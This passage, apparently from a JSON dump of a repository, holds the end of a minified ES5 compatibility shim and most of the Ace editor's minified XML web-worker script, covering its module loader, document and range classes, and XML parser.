\",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-xml.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/xml/sax\",[\"require\",\"exports\",\"module\"],function(e,t,n){function d(){}function v(e,t,n,r,i){function s(e){if(e>65535){e-=65536;var t=55296+(e>>10),n=56320+(e&1023);return String.fromCharCode(t,n)}return String.fromCharCode(e)}function o(e){var t=e.slice(1,-1);return t in n?n[t]:t.charAt(0)===\"#\"?s(parseInt(t.substr(1).replace(\"x\",\"0x\"))):(i.error(\"entity not found:\"+e),e)}function u(t){var n=e.substring(v,t).replace(/&#?\\w+;/g,o);h&&a(v),r.characters(n,0,t-v),v=t}function a(t,n){while(t>=l&&(n=c.exec(e)))f=n.index,l=f+n[0].length,h.lineNumber++;h.columnNumber=t-f+1}var f=0,l=0,c=/.+(?:\\r\\n?|\\n)|.*$/g,h=r.locator,p=[{currentNSMap:t}],d={},v=0;for(;;){var E=e.indexOf(\"<\",v);if(E<0){if(!e.substr(v).match(/^\\s*$/)){var N=r.document,C=N.createTextNode(e.substr(v));N.appendChild(C),r.currentElement=C}return}E>v&&u(E);switch(e.charAt(E+1)){case\"/\":var k=e.indexOf(\">\",E+3),L=e.substring(E+2,k),A;if(!(p.length>1)){i.fatalError(\"end tag name not found for: \"+L);break}A=p.pop();var O=A.localNSMap;A.tagName!=L&&i.fatalError(\"end tag name: \"+L+\" does not match the current start tagName: \"+A.tagName),r.endElement(A.uri,A.localName,L);if(O)for(var M in O)r.endPrefixMapping(M);k++;break;case\"?\":h&&a(E),k=x(e,E,r);break;case\"!\":h&&a(E),k=S(e,E,r,i);break;default:try{h&&a(E);var _=new T,k=g(e,E,_,o,i),D=_.length;if(D&&h){var P=m(h,{});for(var E=0;E<D;E++){var H=_[E];a(H.offset),H.offset=m(h,{})}m(P,h)}!_.closed&&w(e,k,_.tagName,d)&&(_.closed=!0,n.nbsp||i.warning(\"unclosed xml attribute\")),y(_,r,p),_.uri===\"http://www.w3.org/1999/xhtml\"&&!_.closed?k=b(e,k,_.tagName,o,r):k++}catch(B){i.error(\"element parse error: \"+B),k=-1}}k<0?u(E+1):v=k}}function m(e,t){return t.lineNumber=e.lineNumber,t.columnNumber=e.columnNumber,t}function g(e,t,n,r,i){var s,d,v=++t,m=o;for(;;){var g=e.charAt(v);switch(g){case\"=\":if(m===u)s=e.slice(t,v),m=f;else{if(m!==a)throw new Error(\"attribute equal must after attrName\");m=f}break;case\"'\":case'\"':if(m===f){t=v+1,v=e.indexOf(g,t);if(!(v>0))throw new Error(\"attribute value no end '\"+g+\"' match\");d=e.slice(t,v).replace(/&#?\\w+;/g,r),n.add(s,d,t-1),m=c}else{if(m!=l)throw new Error('attribute value must after \"=\"');d=e.slice(t,v).replace(/&#?\\w+;/g,r),n.add(s,d,t),i.warning('attribute \"'+s+'\" missed start quot('+g+\")!!\"),t=v+1,m=c}break;case\"/\":switch(m){case o:n.setTagName(e.slice(t,v));case c:case h:case p:m=p,n.closed=!0;case l:case u:case a:break;default:throw new Error(\"attribute invalid close char('/')\")}break;case\"\":i.error(\"unexpected end of input\");case\">\":switch(m){case o:n.setTagName(e.slice(t,v));case c:case h:case p:break;case l:case u:d=e.slice(t,v),d.slice(-1)===\"/\"&&(n.closed=!0,d=d.slice(0,-1));case a:m===a&&(d=s),m==l?(i.warning('attribute \"'+d+'\" missed quot(\")!!'),n.add(s,d.replace(/&#?\\w+;/g,r),t)):(i.warning('attribute \"'+d+'\" missed value!! \"'+d+'\" instead!!'),n.add(d,d,t));break;case f:throw new Error(\"attribute value missed!!\")}return v;case\"\\u0080\":g=\" \";default:if(g<=\" \")switch(m){case o:n.setTagName(e.slice(t,v)),m=h;break;case u:s=e.slice(t,v),m=a;break;case l:var d=e.slice(t,v).replace(/&#?\\w+;/g,r);i.warning('attribute \"'+d+'\" missed quot(\")!!'),n.add(s,d,t);case c:m=h}else switch(m){case a:i.warning('attribute \"'+s+'\" missed value!! \"'+s+'\" instead!!'),n.add(s,s,t),t=v,m=u;break;case c:i.warning('attribute space is required\"'+s+'\"!!');case h:m=u,t=v;break;case f:m=l,t=v;break;case p:throw new Error(\"elements closed character '/' and '>' must be connected to\")}}v++}}function y(e,t,n){var r=e.tagName,i=null,s=n[n.length-1].currentNSMap,o=e.length;while(o--){var u=e[o],a=u.qName,f=u.value,l=a.indexOf(\":\");if(l>0)var c=u.prefix=a.slice(0,l),h=a.slice(l+1),p=c===\"xmlns\"&&h;else h=a,c=null,p=a===\"xmlns\"&&\"\";u.localName=h,p!==!1&&(i==null&&(i={},E(s,s={})),s[p]=i[p]=f,u.uri=\"http://www.w3.org/2000/xmlns/\",t.startPrefixMapping(p,f))}var o=e.length;while(o--){u=e[o];var c=u.prefix;c&&(c===\"xml\"&&(u.uri=\"http://www.w3.org/XML/1998/namespace\"),c!==\"xmlns\"&&(u.uri=s[c]))}var l=r.indexOf(\":\");l>0?(c=e.prefix=r.slice(0,l),h=e.localName=r.slice(l+1)):(c=null,h=e.localName=r);var d=e.uri=s[c||\"\"];t.startElement(d,h,r,e);if(e.closed){t.endElement(d,h,r);if(i)for(c in i)t.endPrefixMapping(c)}else e.currentNSMap=s,e.localNSMap=i,n.push(e)}function b(e,t,n,r,i){if(/^(?:script|textarea)$/i.test(n)){var s=e.indexOf(\"</\"+n+\">\",t),o=e.substring(t+1,s);if(/[&<]/.test(o))return/^script$/i.test(n)?(i.characters(o,0,o.length),s):(o=o.replace(/&#?\\w+;/g,r),i.characters(o,0,o.length),s)}return 